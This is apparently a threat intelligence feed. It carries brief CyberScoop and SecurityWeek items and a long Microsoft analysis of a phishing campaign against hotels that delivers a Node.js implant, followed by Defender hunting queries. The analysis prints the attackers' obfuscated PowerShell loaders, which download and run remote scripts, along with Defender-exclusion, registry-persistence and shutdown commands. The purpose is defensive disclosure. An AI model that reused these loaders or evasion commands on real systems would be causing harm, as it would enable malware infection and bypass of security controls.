Proofpoint attributes the campaign to a China-aligned cluster because the attackers used a known covert network used by multiple China-aligned threat groups, an infection chain leading to VShell and left Chinese language artifacts in the phishing emails.
Researchers haven’t drawn any conclusions about why attackers targeted the universities and what they are seeking.
“We do not have data to suggest what got stolen, as we only observe the initial inbound email attempt,” Lesnewich said.
The engineering aspects do align with China’s strategic initiatives, he added. Google threat hunters recently spotted a Chinese state-sponsored espionage group that burrowed into systems for years, stealing data across academia, medicine, military, cybersecurity and foreign policy.
“China-aligned adversaries have been targeting other types of edge devices such as routers and VPN concentrators for years with various exploits to create a foothold into a target network, not using email for delivery,” Lesnewich said. “This campaign flips that on its head, using email to deliver an exploit chain to compromise a mail server, instead of using email to deliver a credential harvesting URL or malware to target an end user, not a server.”
The post Suspected Chinese espionage group used a Roundcube exploit chain to burrow into universities appeared first on CyberScoop.
Toolkits to wage phishing campaigns are a now-venerable instrument for cybercriminals, but researchers recently turned up details on something like a full-fledged “business email compromise-as-a-service” platform.
Cisco Talos said Wednesday that it had found an operator panel dubbed ARToken, which shares infrastructure and other things in common with, and as an affiliate to, the EvilTokens phishing-as-a-service operation built to bypass multi-factor authentication and compromise Microsoft 365 accounts. EvilTokens has reportedly seen a dramatic increase in its phishing attacks — by 1,380% early this year compared to the same period last year — with an assist from artificial intelligence integration.
ARToken is notable, though, for the capabilities that go beyond what’s been made public about EvilTokens so far by companies like Sekoia and Microsoft itself, such as inbox rule manipulation and shared access links.
“These features indicate the platform is more mature than a simple device code phishing kit — it is a complete BEC operations environment,” wrote Michael Kelley, security research engineer at Cisco Talos, in a blog post, referring to business email compromise scams that involve sending fake emails to solicit fraudulent payments.
Kelley told CyberScoop that “we’ve seen some offerings that touch on this capability, but this definitely seems more fleshed out and polished than previous instances.”
ARToken is also notable for its evasive capabilities, with a seven-layer anti-analysis system, the post states.
The research provides further details on what ARToken’s actual phishing lures look like in practice. They are targeted, rather than scattershot and opportunistic, as one lure the firm examined shows.
“The messages spoof an accounts-payable contact at a legitimate Wisconsin contractor, addressed to an accounts-payable recipient at a U.S. life sciences company — abusing a real vendor relationship rather than inventing a sender,” Kelley wrote. “The lure theme is an outstanding-invoice inquiry (‘the following invoices appear to still be outstanding… advise when this will be processed’), the kind of message accounts-payable staff are conditioned to act on.”
Kelley told CyberScoop that Cisco Talos doesn’t yet have a full sense of the breadth of the activity, nor who is making use of the capability.
“We’ve seen the public sector targeted but it’s unlikely to be the only one,” he said.
The post This phishing kit looks more like BEC-as-a-service appeared first on CyberScoop.
The decentralized prediction market said hackers targeted some of its users through a compromise of a third-party vendor.
The post $3 Million Reportedly Stolen in Polymarket Hack appeared first on SecurityWeek.
Microsoft Threat Intelligence has identified an active multi-stage intrusion campaign targeting organizations in the hospitality and hotel industry since April 2026. We’ve observed this activity through aggregated threat intelligence and security signals across multiple organizations in Europe and Asia. Microsoft has not attributed this campaign to a known threat actor.
The campaign uses photo-themed ZIP archives that the target users download through the browser. These archives contain fake image shortcut files that, when launched, start an attack chain that relies on obfuscated PowerShell, a Node.js-based implant, dual registry persistence, and command-and-control (C2) communications over non-standard ports. As of this writing, the campaign’s post-compromise activities include C2 beaconing, forced shutdowns, and compilation of portable executable (PE) payloads. While the campaign’s ultimate objective remains unclear, we assess that the threat actor’s investment in ensuring obfuscation and persistence could indicate that they’re preparing the victim devices for more follow-on activities.
In late May 2026, we observed the threat actor misusing legitimate services—including the cloud-based scheduling platform Calendly’s email notification infrastructure and Google’s URL redirect functionality—to deliver phishing emails with multilingual lures and subject lines (for example, guest complaints and room inquiries) designed to convince hospitality staff to open the embedded malicious link and download the ZIP archive. These phishing emails attempt to bypass conventional authentication checks through a technique we describe as authentication laundering: by routing phishing messages through a trusted service’s sending infrastructure, the threat actor can make malicious messages appear similar to legitimate notifications to email authentication defenses.
We’ve observed the campaign evolving in two distinct waves. The first wave (hereinafter referred to as Wave 1) used shortcut files named IMG-<random numbers>.png.lnk, while the second one (Wave 2) introduced a naming shift to PHOTO-<random numbers>.png.lnk. Wave 2 also introduced a new attack chain stage in which the PowerShell downloader triggered dynamic .NET DLL compilation through csc.exe, and the actor expanded its domain infrastructure to include .cfd domains hosted behind Cloudflare.
This blog summarizes the campaign’s Wave 1 and Wave 2 attack chains and provides Microsoft Defender detections and recommendations. It’s intended to share threat intelligence to help organizations better understand, identify, and defend against similar attack techniques. The activity described reflects observed patterns and behaviors and is provided to support defensive security efforts.
The campaign follows a multi-stage attack chain with limited variation in overall behavior, even as the actor changed its PowerShell obfuscation and delivery refinements between waves.
The campaign begins with delivery of a browser-downloaded archive with a file name that uses the pattern photo-<random numbers>.zip. In one observed activity, links to these archives were delivered through phishing emails. We assess that this file naming convention was designed to appear ordinary yet relevant to hospitality workflows, which commonly exchange guest photos, reservation-related images, or document snapshots.
In Wave 1, the archive contained a fake image shortcut named IMG-<random numbers>.png.lnk, which masqueraded as a PNG file while remaining executable content. In Wave 2, the threat actor introduced a naming shift to PHOTO-<random numbers>.png.lnk (uppercase PHOTO prefix). Successful execution depended on a target user opening what appeared to be an image.
The following table lists representative delivery artifacts observed across impacted environments in both campaign waves. The file sizes of the LNK files consistently fell within 1,989 to 2,079 bytes, suggesting the same builder tool.
| LNK file | Source archive | Wave |
| IMG-805916584.png.lnk | C:\Users\[REDACTED]\Downloads\photo-961032103.zip | 1 |
| IMG-421741673.png.lnk | C:\Users\[REDACTED]\Downloads\photo-818773648.zip | 1 |
| IMG-223099041.png.lnk | C:\Users\[REDACTED]\Downloads\photo-716449357.zip | 1 |
| IMG-386443483.png.lnk | Browser download | 1 |
| PHOTO-215746435.png.lnk | Browser download | 2 |
Observed LNK and ZIP naming patterns across both campaigns.
Observed victim device naming patterns, including reception- and front office-associated systems and hotel-named devices, confirm the threat actor’s focus on staff likely to interact with image or document attachments as part of day-to-day operations. Some of the user account names observed across impacted environments include the following strings, which refer to words in different languages such as English, French, Polish, Czech, and Spanish:
Beginning late May 2026, we observed that this campaign’s initial access mechanism also abuses legitimate web services to bypass email authentication controls and obscure the true destination of phishing links. This observation aligns with the previously published findings by other security researchers.
The threat actor uses Calendly’s email notification system and Google’s URL redirect functionality to construct a multi-hop delivery chain in which the direct Calendly path passes Sender Policy Framework (SPF), DomainKeys Identified Mail (DKIM), and Domain-based Message Authentication, Reporting, and Conformance (DMARC) checks.
The sender display name across all observed emails is “Booking Manager (via Calendly),” a social engineering choice that appears designed to exploit hospitality staff’s familiarity with booking and scheduling workflows.
Across the relayed messages, Microsoft observed the following small set of recurring social-engineering themes delivered in Japanese, Danish, and Dutch:
These lures are deliberately generic and non-personalized: every subject references an anonymous “guest,” “facility,” or “your accommodation,” and none contains a recipient name, guest name, or organization name. This is consistent with high-volume, list-driven distribution rather than tailored spear-phishing. The threat actor relies on urgency and reputational pressure (complaints, “final warning,” health-authority inspection, possible suspension) to drive target hospitality staff to click.
| Language | Canonical lure (theme) |
| Japanese | Serious guest complaint |
| Japanese | Bedbug complaint, verification call |
| Japanese | Guest stay review request |
| Japanese | Room condition, facility inquiry |
| Japanese | Final warning: infestation, forced inspection |
| Danish | Bedbug complaint, inspection call |
| Danish | Formal complaint, notice of suspension |
| Danish | Health-risk safety alert |
| Dutch | Complaint: possible danger, hospitalization after stay |
Phishing lure themes by language, listed by observed prevalence.
The threat actor reuses the same themes across all three languages, with Japanese as the most prevalent. Notably, unfilled template placeholders—such as a literal ID token in the Danish variant—appeared in some subjects, indicating automated, templated generation.
Use of Calendly notification infrastructure as a phishing relay
The threat actor uses a threat actor-controlled Calendly account associated with the subdomain em1618.calendly.com to relay phishing emails to hospitality targets. Authentication results differ by delivery path.
| Authentication Check | Result | Why |
| SPF | Pass | Email sent from authorized service |
| DKIM | Pass | Signed by Calendly’s SendGrid sending infrastructure |
| DMARC | Pass | Alignment on calendly.com domain |
| Composite authentication (CompAuth) | Pass | All checks align |
Authentication results for emails sent through the direct Calendly path. The checks pass because the messages are sent through authorized Calendly-associated sending infrastructure; this does not validate the intent or safety of the message content.
This technique, which we describe as authentication laundering in this context, exploits the trust model of email authentication. SPF, DKIM, and DMARC verify that an email was sent from authorized infrastructure for a given domain. When the sending domain is a legitimate service and the threat actor controls the message content, these checks confirm the sender is authorized while saying nothing about the intent of the message.
Each phishing email contains a Calendly redirect URL that initiates a multi-hop chain intended to obscure the final destination from users and automated URL analysis. The embedded Calendly link routes victims through a four-hop chain before reaching the payload:
Calendly’s Link Safety Service interstitial (url?q=) was used as the first hop and Google’s share[.]google redirect as the second. The final .cfd landing pages were freshly registered (for example, photo-26654[.]cfd was 17 days old at the time of analysis), Cloudflare-fronted, and gated behind a Cloudflare Turnstile (“verify you are human”) challenge that doubles as an anti-analysis and geo-gating mechanism before serving the photo-themed ZIP.
Microsoft assesses that this redirect architecture serves multiple evasion purposes:
The threat actor maintains a second delivery variant that bypasses the share.google intermediate step, linking directly from a Calendly redirect URL to the phishing domain (calendly[.]com/url?q=photo-*[.]cfd). Microsoft observed that both variants are active simultaneously, with the same Calendly user UUIDs appearing across both paths. This supports the assessment that a single operator is managing the parallel delivery mechanisms.
Once the malicious shortcut is opened, the next-stage payload invokes PowerShell and launches an obfuscated BigInt decoder. Across the campaign, the PowerShell stage consistently decodes data and then downloads an additional .ps1 file. Microsoft observed a repeating pattern of BigInt decoder → Invoke-WebRequest → .ps1. The full obfuscation evolution across seven phases is detailed in the Obfuscation evolution section of this blog.
The decoded URL points to the campaign’s download domains. In the validated chain, the .ps1 file is retrieved from the photo-*.cfd landing domain
In Wave 2, we observed a new intermediate stage between the PowerShell download and Node.js deployment. The downloaded .ps1 script triggers dynamic .NET compilation through csc.exe (the C# compiler), which in turn invokes cvtres.exe (the resource-to-object converter). This sequence produces small DLL files with random names.
Representative observed artifacts:
| Artifact | Details |
| PowerShell script | qFWe908J.ps1 ( Size 419 KB) |
| Compiled DLL | bjygtujc.dll Size 3,072 bytes) |
csc.exe → cvtres.exe → <random>.dll (3,072 bytes)
Figure 2. Wave 2 .NET DLL compilation chain. The compiled DLL was created but wasn’t observed being loaded through rundll32 or regsvr32 in available telemetry. This stage might be preparatory or conditional.
Microsoft assesses that this stage wasn’t present in Wave 1 and represents an expansion in the attack chain.
After decoding and retrieval, the downloaded PowerShell script runs from the %TEMP% folder. This staging step appears to be transitional rather than final, enabling subsequent download or launch of the campaign’s Node.js component.
We observed the next step as execution of node.exe from a user-space path. The Node runtime version observed across both waves is node-v24.13.0-win-x64 (SHA-256: d14ba95cdce1ef7dc9ad3ac74949ca5db38b27378ee30f30a23cf26f9e875a11, 89.9 MB – downloaded from the legitimate nodejs[.]org site).
Figure 3 shows representative observed command lines:
"node.exe" C:\Users\[REDACTED]\AppData\Local\Nodejs\E2HPVoYGA77RECeb.js safedocphoto[.]info "node.exe" C:\Users\[REDACTED]\AppData\Local\Nodejs\jVXvdhxNfcqHuSf.js recallnine[.]info "node.exe" C:\Users\[REDACTED]\AppData\Local\Nodejs\c4yCFRzE.js kentjerk[.]info "node.exe" C:\Users\[REDACTED]\AppData\Local\Nodejs\FfXznFDs8.js photodoc-secure[.]info "node.exe" C:\Users\[REDACTED]\AppData\Local\Nodejs\f76qtHrP.js kelopins[.]info
Figure 3. Node.js implant execution with random JavaScript filenames and C2 domain arguments.
The Node.js runtime functions as the interpreter for the implant’s .js payloads. Microsoft assesses that placing the runtime in a user-writable location could help the threat actor avoid dependencies on a system-installed Node.js binary while also supporting repeated payload reuse across different filenames. Hash reuse across distinct filenames confirms reuse of the same binaries, reinforcing the assessment that the threat actor prioritizes operational repeatability.
The Node.js implant also establishes its own persistence by spawning PowerShell to create a detached, hidden child process:
powershell.exe -c "$code = \"require('child_process').spawn(process.execPath,
['C:\\Users\\[REDACTED]\\AppData\\Local\\Nodejs\\.js'],
{detached: true, stdio: 'ignore', windowsHide: true}).unref()\";
$command = ...
Figure 4. Node.js persistence mechanism using child_process.spawn with detached and windowsHide flags.
Once the Node.js component is established, the campaign modifies Defender settings by using Add-MpPreference -ExclusionProcess for temporary-path executables. We assess that this exclusion step is intended to reduce inspection of follow-on binaries located in AppData\Local\Temp. Figure 5 shows representative observed exclusion commands:
powershell.exe -c "Add-MpPreference -ExclusionProcess \"C:\Users\[REDACTED]\AppData\Local\Temp\utramdJQjRMJ.exe\"" powershell.exe -c "Add-MpPreference -ExclusionProcess \"C:\Users\[REDACTED]\AppData\Local\Temp\YEg9nfBg3QG4.exe\"" powershell.exe -c "Add-MpPreference -ExclusionProcess \"C:\Users\[REDACTED]\AppData\Local\Temp\57AVjhcz6vL0c.exe\"" powershell.exe -c "Add-MpPreference -ExclusionProcess \"C:\Users\[REDACTED]\AppData\Local\Temp\sDNud94J7WVDN.exe\""
Figure 5. Defender process exclusions added for randomly named EXE files seconds before their execution.
These excluded random EXE files in AppData\Local\Temp are then launched, followed by helper .tmp installers or unpackers that used names matching is-*.tmp and commonly ran with /SL5 or /VERYSILENT. This combination suggests a deployment chain in which the Node.js implant stages additional binaries, then launches installer-like helpers to unpack or execute the next payload. Microsoft assesses that the .tmp convention and silent-install flags are likely chosen to minimize user awareness while also obscuring the actual payload family.
Observed payloads are then copied into C:\ProgramData\<random>\<payload>.exe. Lowercase copies with the same hash appear under different filenames, which is consistent with repackaging or relocation for stability rather than recompilation. Figure 6 shows representative observed ProgramData paths from the campaign:
C:\ProgramData\FFXjwKn\fehqf5oo.exe C:\ProgramData\PEIEZlD\qulcp452eb9.exe C:\ProgramData\YXbwfua\e6kz1ruadskkk.exe C:\ProgramData\PsrOqKF\vl8daccehg.exe C:\ProgramData\riloNEK\s8bpfaee.exe C:\ProgramData\JMSVrLU\choffgpa.exe
Figure 6. ProgramData relocation paths with randomized folder names and lowercase payload filenames.
The persistence model used in this campaign is especially notable. We observed a dual mechanism in which HKCU\RunOnce pointed to the ProgramData executable while HKCU\Run pointed to the Node.js component. Figure 7 shows a representative registry persistence command:
cmd /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "zZBPZPuA" /t REG_SZ /d "C:\ProgramData\FFXjwKn\fehqf5oo.exe" /f
Figure 7. Registry RunOnce persistence pointing to ProgramData payload with randomized value name.
The RunOnce behavior is particularly unusual because the payload refreshes its own persistence after each execution, effectively creating a RunOnce loop. Microsoft assesses that this design might have been intended to complicate cleanup by repopulating an entry that defenders might otherwise treat as one-time execution.
In later stages of the campaign, compromised systems beacons to fixed IP infrastructure over non-standard ports including:
We observed the campaign expanding its C2 infrastructure between waves:
Wave 1 IPs:
The IP address 178.16.54[.]27 remains active on ports 56001/56002 across both waves.
We also observed numerous unique domains themed around photos, documents, visas, safes, and vaults, spanning top-level domains (TLDs) such as the following:
Wave 2 introduced Cloudflare-hosted .cfd domains following a photo-<random numbers> naming convention:
The domain sec-safe-dc[.]info was observed active in both waves, further supporting the assessment of a single continuous campaign.
A defining characteristic of this campaign is its steady but disciplined obfuscation evolution. Microsoft observed seven PowerShell obfuscation phases over the course of the campaign, but the underlying logic remained consistent: decode embedded data through arithmetic operations, recover the next-stage content, and retrieve a PowerShell script that runs from the %TEMP% folder. This pattern suggests that the threat actor is iterating for durability against static detections rather than experimenting with entirely new tradecraft.
Phase 1: XOR bigint decoding
Early samples rely on XOR arithmetic, using two large integers and a -bxor operation, followed by byte masking and shifting. The following is a representative observed command line:
powershell.exe -ep bypass -c "$k=[bigint]\"2004985473718821432817707887657617\";
$w=[bigint]\"278573358569528286847653191217377\";$o=$k -bxor $w;
while($o -ne 0){$g+=[char]([int]($o -band 0xFF));$o=$o -shr 8};
iwr $g -OutFile $env:TEMP\eRJGv.ps1 -UseBasicParsing;
powershell -ep bypass -File $env:TEMP\eRJGv.ps1"
Figure 9. Phase 1 PowerShell downloader using XOR-based bigint decoding with -bxor, -band 0xFF, and -shr 8.
Phase 2: Subtraction replaces XOR
Microsoft then observed the threat actor swapping XOR logic for subtraction while keeping the rest of the decoder identical. This change bypasses detections anchored on -bxor:
powershell.exe -ep bypass -c "$i=[bigint]\"1568015162836542885394310232785365293\";
$y=[bigint]\"989592658109712364469795296253690811\";$r=$i - $y;
while($r -ne 0){$m+=[char]([int]($r -band 0xFF));$r=$r -shr 8};
iwr $m -OutFile $env:TEMP\VJksAkfp.ps1 -UseBasicParsing;
powershell -ep bypass -File $env:TEMP\VJksAkfp.ps1"
Figure 10. Phase 2 variant replacing -bxor with subtraction while preserving the same decoding structure.
Phase 3: Hexadecimal to decimal substitution
The decoder then shifts from -band 0xFF to -band 255. Although functionally equivalent (0xFF = 255), this change is consistent with a threat actor testing whether surface-level constant changes could degrade signature reliability:
powershell.exe -ep bypass -c "$e=[bigint]\"1080978693158786688289132234139422058835788841232\";
$l=[bigint]\"444996423444240363171355535687083720697400778653\";$w=$e - $l;
while($w -ne 0){$j+=[char]([int]($w -band 255));$w=$w -shr 8};
iwr $j -OutFile $env:TEMP\ymqMj.ps1 -UseBasicParsing;
powershell -ep bypass -File $env:TEMP\ymqMj.ps1"
Figure 11. Phase 3 variant replacing 0xFF with decimal 255.
Phase 4: Arithmetic masking
Masking expressions are further transformed into arithmetic forms that evaluate to the same constant. This variation prevents simple string matching on either 0xFF or 255:
powershell.exe -ep bypass -c "$e=[bigint]\"988466760738254167909712279829942477\";
$y=[bigint]\"352542850680807474382013127968401501\";$i=$e - $y;
while($i -ne 0){$b+=[char]([int]($i -band (177+78)));$i=$i -shr 8};
iwr $b -OutFile $env:TEMP\23QbL.ps1 -UseBasicParsing;
powershell -ep bypass -File $env:TEMP\23QbL.ps1"
Figure 12. Phase 4 variant hiding the byte mask behind arithmetic expressions such as (177+78).
Other observed arithmetic masks included -band (100+155) and -band 128+127, all resolving to 255.
Phase 5: Modulo and division
Later samples replace the bit-shift model entirely, switching from -band and -shr to modulo and division operations:
powershell.exe -ep bypass -c "$s=[bigint]\"28248557062916408148263140002288993200489702\";
$o=[bigint]\"18544237761852163685406436002210545666450291\";$e=$s - $o;
while($e -ne 0){$x+=[char]([int]($e -band (255)));$e=$e -shr 8};
iwr $x -OutFile $env:TEMP\PVtvOP40.ps1 -UseBasicParsing;
powershell -ep bypass -File $env:TEMP\PVtvOP40.ps1"
Figure 13. Phase 5 transitional variant; later samples in this phase fully replaced -band/-shr with % 256 and / 256.
Phase 6: Syntax diversification and randomization
The threat actor adopts “num” -as [bigint] casting syntax, introduces long random variable names, and uses modulo/division for byte extraction. The combined effect makes each sample visually distinct despite identical logic:
powershell.exe -ep bypass -c "$zGjEc0LINYdefj=\"25908558764390958596189327204542\" -as [bigint];
$MyL4evU3=256;
$GqA4xFav=\"17082531775760189576112827972435\" -as [bigint];
$XwcU0kg87CFgqe5=$zGjEc0LINYdefj - $GqA4xFav;
while($XwcU0kg87CFgqe5 -ne 0){
$qy8gWy4FONBaCV+=[char]([int]($XwcU0kg87CFgqe5 % $MyL4evU3));
$XwcU0kg87CFgqe5=$XwcU0kg87CFgqe5 / $MyL4evU3};
iwr $qy8gWy4FONBaCV -OutFile $env:TEMP\.ps1 -UseBasicParsing;
powershell -ep bypass -File $env:TEMP\.ps1"
Figure 14. Phase 6 variant using -as [bigint] syntax, long randomized variable names, and modulo/division decoding.
Phase 7: For-loop variant with arithmetic mask (Wave 2)
The most recent observed phase introduces a for-loop iteration model with an arithmetic mask using a variable set to 100+156 (=256) and -as [bigint] casting. This is a natural evolution of Phase 6’s syntax diversification, further altering the control flow structure while preserving the same underlying decode-and-download behavior:
powershell.exe -ep bypass -c "$IcZWdT=100+156; $=\"\" -as [bigint]; $ =\" \" -as [bigint]; $ =$ - $ ; for($i=0; $ -ne 0; $i++){ $
Figure 15. Phase 7 variant (Wave 2) introducing a for-loop with arithmetic mask $IcZWdT=100+156 and -as [bigint] casting.
This seven-phase evolution demonstrates a threat actor that monitors or anticipates detection pressure. The campaign doesn’t pivot away from PowerShell or Node.js; instead, it repeatedly re-skins a working loader. For defenders, this means purely literal detections on isolated operators, constants, or variable names might age quickly, while behavior-based detections anchored on the full sequence—shortcut execution, PowerShell decode, %TEMP% staging, Node.js from user space, Defender exclusions, and ProgramData persistence—are likely to remain more resilient.
Microsoft assesses that the observable differences between Wave 1 and Wave 2 represent a deliberate operational evolution by the same threat actor. The following cross-wave correlations support this assessment:
| Indicator | Wave 1 (April to May 2026) | Wave 2 (Late May to June 2026) | Assessment |
| PE payload hash (xmnrwv9l.exe) | 04ec44f2618460f5c77c5e56014a512cc03a123c9c5b6b6b1273e2a1681ac2e1 | Same hash observed | Same payload binary |
| C2 IP | 178.16.54[.]27 | Same IP, ports 56001/56002 | Same infrastructure |
| Node.js version | v24.13.0-win-x64 | v24.13.0-win-x64 | Same runtime |
| Domain | sec-safe-dc[.]info | Active in both waves | Shared domain |
| C2 ports | 56001, 56002, 56003 | 56001, 56002 | Same non-standard port pattern |
Cross-wave artifact overlaps demonstrating a single continuous campaign.
| Dimension | Wave 1 (April to May 2026) | Wave 2 (Late May to June 2026) |
| LNK naming | IMG-<random numbers>.png.lnk | PHOTO-<random numbers>.png.lnk |
| ZIP contents | LNK only | LNK (PHOTO- prefix) |
| Attack chain | PowerShell → Node.js | PowerShell → csc.exe/cvtres.exe → DLL → Node.js |
| Obfuscation | Phases 1–6 | Phase 7 (for-loop variant) |
| Domain TLDs | .info, .com, .pro, .xyz, .cloud, .icu, .sbs | Added .cfd, .click, and .bond |
| Infrastructure | Direct hosting | Cloudflare-fronted .cfd domains |
| C2 domains | Photo, document, and visa themes | Added zloapobikahy23[.]bond, higoksbupwou[.]com, aluminiostramuntana[.]com |
Summary of campaign evolution from Wave 1 to Wave 2.
Microsoft assesses that these changes reflect operational maturation rather than a shift in objectives. The threat actor expanded evasion (DLL compilation, Cloudflare fronting) and broadened targeting—all while maintaining the same core attack chain and reusing key infrastructure.
One of the significant findings from Wave 2 is the demonstrated resilience of the dual persistence model under active Defender intervention.
On a confirmed compromised device, Defender detected and blocked one PE payload (xmnrwv9l.exe, SHA-256: 04ec44f2618460f5c77c5e56014a512cc03a123c9c5b6b6b1273e2a1681ac2e1) with Wacatac detections. Despite that block, the Node.js HKCU\Run key persistence remained active. Approximately two days later, the Node.js implant reactivated and resumed C2 communications to new domains.
Following the initial block, Microsoft observed additional /VERYSILENT EXEs deployed on the same device:
cBA8H4S5k04jAY.exe eaa3q8BQZcnIOV.exe BaUWXagH4CGZS.exe CJE4domtVFM9LX.exe
Figure 18. Additional payload EXEs deployed after Defender blocked the initial PE, demonstrating the implant’s ability to retry delivery through the surviving Node.js persistence.
This sequence highlights a remediation consideration: the dual persistence model (RunOnce for the PE payload + Run for Node.js) means that blocking one execution path might not fully neutralize the other. The Node.js implant, if it remains active, can re-download and re-attempt payload delivery. Microsoft assesses that complete remediation of this campaign requires removal of both persistence mechanisms—the ProgramData RunOnce entry and the Node.js Run key—along with the Node.js runtime and associated .js files from the user’s AppData\Local\Nodejs\ directory.
Microsoft observed a subset of devices reaching clear late-stage post-compromise behavior. On multiple devices, the activity progressed to active C2 beaconing, browser automation with –headless –no-sandbox flags, and environment lookups. Based on the command-line pattern alone, Microsoft assesses that the threat actor likely used automated browser execution rather than manual interactive browsing on those hosts.
The campaign also performed an environment lookup using ip-api[.]com, observed through 208.95.112[.]1. This behavior is consistent with gathering external network context before continuing operations. Microsoft assesses that this lookup might have helped the operator understand geographic or connectivity attributes of the compromised device environment.
A final disruptive behavior involved forced shutdown through cmd /c shutdown -s -t 0, observed on multiple devices. Microsoft assesses that immediate shutdown could have served several purposes depending on the host context: interruption of user activity, reduction of defender response time during a specific stage, or concealment of visible symptoms after automated browser tasks or payload launches completed.
The persistence design itself is a meaningful post-compromise observation. The combination of a durable Node.js launch point in HKCU\Run and a repeatedly refreshed ProgramData payload through HKCU\RunOnce suggests an effort to maintain execution options across user sign-ins while also preserving a secondary recovery path. This RunOnce loop is unusual enough that it might provide defenders with a strong hunting pivot even when file names, domains, or script syntax change.
Organizations in hospitality and adjacent service industries should prioritize layered detections for this campaign’s behavior sequence rather than any single indicator. Microsoft recommends the following actions based on the observed attack chain:
Microsoft assesses that Microsoft Defender coverage for this campaign is most effective when it combines process, registry, file, and network telemetry rather than relying on blocking individual indicators of compromise (IOCs).
TonRAT is the campaign’s implant family (validated on the dropped .ps1 and .js payloads). “Wacatac” and “PureRat” are Microsoft Defender detection names that fire on specific binaries in the attack chain (the LNK or PE payload and the ProgramData persistence executable, respectively).
Beyond signature-based prevention, Microsoft Defender can surface this campaign through behavioral detections, including alerts such as Suspicious Node.js child process execution and Node.js Hidden Run‑Key Persistence, which are designed to identify implant activity even as file names, domains, and script syntax change.
Microsoft Defender XDR customers can refer to the list of applicable detections below. Microsoft Defender XDR coordinates detection, prevention, investigation, and response across endpoints, identities, email, and apps to provide integrated protection against attacks like the threat discussed in this blog.
Customers with provisioned access can also use Microsoft Security Copilot in Microsoft Defender to investigate and respond to incidents, hunt for threats, and protect their organization with relevant threat intelligence.
| Tactic | Observed activity | Microsoft Defender coverage |
| Initial access | Photo-themed ZIP with fake image LNK | Microsoft Defender for Endpoint Trojan:Win32/Wacatac prevented |
| Execution | Obfuscated PowerShell BigInt decoder downloads a .ps1 dropper | Microsoft Defender for Endpoint Suspicious PowerShell command line Microsoft Defender Antivirus TrojanDropper:PowerShell/TonRAT |
| Node.js runs the decrypted malicious JavaScript implant | Microsoft Defender for Endpoint Suspicious Node.js child process execution Microsoft Defender Antivirus Trojan:JS/TonRAT | |
| Persistence | Dual Run/RunOnce registry keys (Node.js + ProgramData EXE) | Microsoft Defender for Endpoint Anomaly detected in ASEP registry Node.js Hidden Run‑Key Persistence Microsoft Defender Antivirus Trojan:Win32/PureRat |
Microsoft Security Copilot customers can use the following prebuilt promptbooks to support investigation and response for activity related to this campaign:
Microsoft Defender XDR
NOTE: The following sample queries lets you search for a week’s worth of events. To explore up to 30 days’ worth of raw data to inspect events in your network and locate potential related indicators for more than a week, go to the Advanced Hunting page > Query tab, select the calendar dropdown menu to update your query to hunt for the Last 30 days.
Fake image shortcut execution (both LNK naming patterns)
This query identifies execution of shortcut files matching the campaign’s photo-themed LNK naming convention across both Wave 1 and Wave 2 patterns.
DeviceProcessEvents
| where FileName =~ "explorer.exe" or FileName =~ "cmd.exe" or FileName =~ "powershell.exe"
| where ProcessCommandLine has ".lnk"
| where ProcessCommandLine has_any ("IMG-", "PHOTO-") and ProcessCommandLine has ".png.lnk"
| project Timestamp, DeviceName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine
| order by Timestamp desc
Node.js implant execution from user-space paths
This query identifies Node.js execution from the campaign’s characteristic AppData\Local\Nodejs\ staging path with JavaScript payload arguments.
DeviceProcessEvents | where FileName =~ "node.exe" | where FolderPath has @"\AppData\Local\Nodejs\" | where ProcessCommandLine has ".js" | project Timestamp, DeviceName, FolderPath, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine | order by Timestamp desc
.NET DLL compilation from PowerShell-downloaded scripts (Wave 2)
This query detects the Wave 2 attack chain expansion where PowerShell scripts trigger dynamic .NET compilation through csc.exe.
DeviceProcessEvents
| where FileName in~ ("csc.exe", "cvtres.exe")
| where InitiatingProcessFileName in~ ("powershell.exe", "pwsh.exe")
or InitiatingProcessFolderPath has @"\AppData\Local\Temp\"
| project Timestamp, DeviceName, FileName, FolderPath, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine
| order by Timestamp desc
Defender process exclusions followed by Temp execution
This query correlates Defender exclusion modifications with subsequent executable launches from temporary paths within a 30-minute window.
let exclusionEvents =
DeviceProcessEvents
| where FileName in~ ("powershell.exe", "pwsh.exe")
| where ProcessCommandLine has "Add-MpPreference" and ProcessCommandLine has "-ExclusionProcess"
| project DeviceId, DeviceName, ExclusionTime=Timestamp, ExclusionCmd=ProcessCommandLine;
let tempExecs =
DeviceProcessEvents
| where FolderPath has @"\AppData\Local\Temp\"
| where FileName endswith ".exe" or ProcessCommandLine has ".exe"
| project DeviceId, TempExecTime=Timestamp, TempFile=FileName, TempPath=FolderPath, TempCmd=ProcessCommandLine;
exclusionEvents
| join kind=inner tempExecs on DeviceId
| where TempExecTime between (ExclusionTime .. ExclusionTime + 30m)
| project DeviceName, ExclusionTime, ExclusionCmd, TempExecTime, TempFile, TempPath, TempCmd
| order by ExclusionTime desc
Installer or unpacker behavior using is-.tmp and silent flags
This query identifies the campaign’s characteristic use of temporary installer files with silent execution flags.
DeviceProcessEvents
| where ProcessCommandLine has @"\is-" and ProcessCommandLine has ".tmp"
| where ProcessCommandLine has_any ("/SL5", "/VERYSILENT")
| project Timestamp, DeviceName, FileName, FolderPath, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine
| order by Timestamp desc
Registry persistence to Node.js and ProgramData
This query detects creation or modification of Run or RunOnce values pointing to the campaign’s persistence locations.
DeviceRegistryEvents
| where RegistryKey has @"\Software\Microsoft\Windows\CurrentVersion\Run"
or RegistryKey has @"\Software\Microsoft\Windows\CurrentVersion\RunOnce"
| where RegistryValueData has_any (@"\AppData\Local\Nodejs\", @"\ProgramData\")
| project Timestamp, DeviceName, ActionType, RegistryKey, RegistryValueName, RegistryValueData, InitiatingProcessFileName, InitiatingProcessCommandLine
| order by Timestamp desc
Non-standard port beaconing from Node.js or suspicious user-space binaries
This query identifies network connections on the campaign’s observed C2 ports from suspicious process locations.
DeviceNetworkEvents
| where RemotePort in (8443, 8445, 8453, 5555, 56001, 56002, 56003)
| where InitiatingProcessFileName =~ "node.exe"
or InitiatingProcessFolderPath has @"\AppData\Local\Temp\"
or InitiatingProcessFolderPath has @"\AppData\Local\Nodejs\"
or InitiatingProcessFolderPath has @"\ProgramData\"
| project Timestamp, DeviceName, InitiatingProcessFileName, InitiatingProcessFolderPath, InitiatingProcessCommandLine, RemoteIP, RemotePort, RemoteUrl
